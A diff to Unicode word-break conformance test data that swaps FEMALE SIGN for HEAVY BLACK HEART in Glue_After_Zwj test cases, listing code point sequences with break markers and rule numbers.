FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 000D ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 000D ÷ 2640 ÷ # ÷ [0.2] (CR) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 000D ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 000D ÷ 2764 ÷ # ÷ [0.2] (CR) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 000D ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 000D ÷ 1F466 ÷ # ÷ [0.2] (CR) ÷ [3.1] BOY (EBG) ÷ [0.3] ÷ 000D ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 000D ÷ 00AD ÷ # ÷ [0.2] (CR) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -180,8 +179,8 @@ ÷ 000A ÷ 0308 ÷ 261D ÷ # ÷ [0.2] (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 000A ÷ 1F3FB ÷ # ÷ [0.2] (LF) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 000A ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 000A ÷ 2640 ÷ # ÷ [0.2] (LF) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 000A ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 000A ÷ 2764 ÷ # ÷ [0.2] (LF) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 000A ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 000A ÷ 1F466 ÷ # ÷ [0.2] (LF) ÷ [3.1] BOY (EBG) ÷ [0.3] ÷ 000A ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 000A ÷ 00AD ÷ # ÷ [0.2] (LF) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -242,8 +241,8 @@ ÷ 000B ÷ 0308 ÷ 261D ÷ # ÷ [0.2] (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 000B ÷ 1F3FB ÷ # ÷ [0.2] (Newline) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 000B ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 000B ÷ 2640 ÷ # ÷ [0.2] (Newline) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 000B ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 000B ÷ 2764 ÷ # ÷ [0.2] (Newline) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 000B ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 000B ÷ 1F466 ÷ # ÷ [0.2] (Newline) ÷ [3.1] BOY (EBG) ÷ [0.3] ÷ 000B ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 000B ÷ 00AD ÷ # ÷ [0.2] (Newline) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -304,8 +303,8 @@ ÷ 3031 × 0308 ÷ 261D ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 3031 ÷ 1F3FB ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 3031 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 3031 ÷ 2640 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 3031 × 0308 ÷ 2640 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 3031 ÷ 2764 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 3031 × 0308 ÷ 2764 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 3031 ÷ 1F466 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 3031 × 0308 ÷ 1F466 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 3031 × 00AD ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -366,8 +365,8 @@ ÷ 0041 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0041 ÷ 1F3FB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0041 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0041 ÷ 2640 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0041 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0041 ÷ 2764 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0041 × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0041 ÷ 1F466 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0041 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0041 × 00AD ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -428,8 +427,8 @@ ÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 003A ÷ 2640 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 003A ÷ 2764 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 003A × 0308 ÷ 2764 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 003A ÷ 1F466 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 003A × 00AD ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -490,8 +489,8 @@ ÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 002C ÷ 2640 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 002C ÷ 2764 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 002C × 0308 ÷ 2764 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 002C ÷ 1F466 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 002C × 00AD ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -552,8 +551,8 @@ ÷ 002E × 0308 ÷ 261D ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 002E ÷ 1F3FB ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 002E × 0308 ÷ 1F3FB ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 002E ÷ 2640 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 002E × 0308 ÷ 2640 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 002E ÷ 2764 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 002E × 0308 ÷ 2764 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 002E ÷ 1F466 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 002E × 0308 ÷ 1F466 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 002E × 00AD ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -614,8 +613,8 @@ ÷ 0030 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0030 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0030 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0030 ÷ 2640 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0030 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0030 ÷ 2764 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0030 × 0308 ÷ 2764 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0030 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0030 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0030 × 00AD ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -676,8 +675,8 @@ ÷ 005F × 0308 ÷ 261D ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 005F ÷ 1F3FB ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 005F × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 005F ÷ 2640 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 005F × 0308 ÷ 2640 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 005F ÷ 2764 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 005F × 0308 ÷ 2764 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 005F ÷ 1F466 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 005F × 0308 ÷ 1F466 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 005F × 00AD ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -738,8 +737,8 @@ ÷ 1F1E6 × 0308 ÷ 261D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 1F1E6 ÷ 1F3FB ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F1E6 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 1F1E6 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F1E6 × 0308 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F1E6 ÷ 2764 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F1E6 × 0308 ÷ 2764 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F1E6 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F1E6 × 0308 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F1E6 × 00AD ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -800,8 +799,8 @@ ÷ 05D0 × 0308 ÷ 261D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 05D0 ÷ 1F3FB ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 05D0 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 05D0 ÷ 2640 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 05D0 × 0308 ÷ 2640 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 05D0 ÷ 2764 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 05D0 × 0308 ÷ 2764 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 05D0 ÷ 1F466 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 05D0 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 05D0 × 00AD ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -862,8 +861,8 @@ ÷ 0022 × 0308 ÷ 261D ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0022 ÷ 1F3FB ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0022 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0022 ÷ 2640 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0022 × 0308 ÷ 2640 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0022 ÷ 2764 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0022 × 0308 ÷ 2764 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0022 ÷ 1F466 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0022 × 0308 ÷ 1F466 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0022 × 00AD ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -924,8 +923,8 @@ ÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0027 ÷ 2640 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0027 ÷ 2764 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0027 × 0308 ÷ 2764 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0027 × 00AD ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -986,8 +985,8 @@ ÷ 261D × 0308 ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 261D × 1F3FB ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 261D × 0308 × 1F3FB ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 261D ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 261D × 0308 ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 261D ÷ 2764 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 261D × 0308 ÷ 2764 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 261D ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 261D × 0308 ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING 